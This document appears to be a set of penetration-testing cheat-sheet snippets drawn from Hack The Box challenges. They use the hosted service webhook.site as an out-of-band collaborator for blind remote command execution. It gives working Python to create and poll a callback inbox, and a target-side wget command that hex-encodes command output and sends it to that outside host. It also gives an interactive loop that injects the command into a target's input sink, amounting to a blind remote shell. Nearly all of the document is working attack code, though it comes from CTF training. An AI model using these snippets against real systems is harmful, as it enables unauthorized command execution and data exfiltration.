webhook.site
webhook.site collaborator — create and poll
Mints a hosted callback inbox, polls the newest captured request, and returns the data query parameter.
A hosted collaborator avoids running a public listener. POST /token creates an inbox and returns a uuid; callbacks land at https://webhook.site/<uuid> and can be read from /token/<uuid>/requests?sorting=newest. The snippets below assume command output is hex-encoded before exfiltration so spaces, newlines, and shell metacharacters survive the URL query string.
import requests
import time
WEBHOOK = "https://webhook.site"
def create_webhook(s):
r = s.post(url=f"{WEBHOOK}/token", timeout=10)
uuid = r.json()["uuid"]
callback_url = f"{WEBHOOK}/{uuid}"
print(f"[+] Collaborator URL: {callback_url}")
return uuid, callback_url
def poll_webhook(s, uuid):
poll_url = f"{WEBHOOK}/token/{uuid}/requests?sorting=newest"
while True:
data = s.get(url=poll_url, timeout=10).json().get("data", [])
if data:
query = data[0].get("query", {})
if query.get("data"):
return query["data"]
print("[*] waiting for callback...")
time.sleep(2)Find by: oob, out of band, webhook.site, collaborator, callback, poll, uuid, blind exfil, no listener, hosted, request bin · Source: HTB/VoidWhispers + HTB/Gunship
Send command output to webhook.site
Partial replacement snippet. Builds a one-shot shell command that sends hex-encoded command output to the callback URL.
The target-side command uses wget -qO /dev/null so the HTTP response body is discarded and output is carried only in ?data=.... xxd -p -c 9999 hex-encodes the output on one line; without -c 9999, xxd -p wraps long output and can split the exfil value.
def oob_command(callback_url, command):
return f"wget -qO /dev/null {callback_url}?data=$({command} | xxd -p -c 9999)"
def decode_oob_value(hex_value):
return bytes.fromhex(hex_value).decode()Target-side command
wget -qO /dev/null https://webhook.site/<uuid>?data=$(id | xxd -p -c 9999)Find by: webhook.site, wget, xxd, hex exfil, command output, blind rce, oob command, callback url
webhook.site command loop
Wraps a target-specific send primitive with a command prompt, waits briefly, then polls webhook.site for the newest output.
send_payload() is the only target-specific part: it places the OOB command into the reachable sink, such as a JSON field, template expression, command argument, or prototype-pollution gadget. The loop reuses one callback inbox and prints decoded output after every command.
def send_payload(s, callback_url, command):
cmd = oob_command(callback_url, command)
payload = {
"field": cmd
}
s.post(url=f"{URL}/sink", json=payload, verify=False, timeout=10, proxies=PROXIES)
def oob_shell(s):
uuid, callback_url = create_webhook(s)
while True:
command = input("> ").strip()
if not command:
continue
send_payload(s, callback_url, command)
time.sleep(4)
hex_output = poll_webhook(s, uuid)
print(decode_oob_value(hex_output))
try:
oob_shell(s)
except (KeyboardInterrupt, EOFError):
print("\n[-] interrupted")Find by: webhook.site, command loop, oob shell, blind rce loop, poll callback, exfil loop, interactive command, hosted collaborator · Source: HTB/Gunship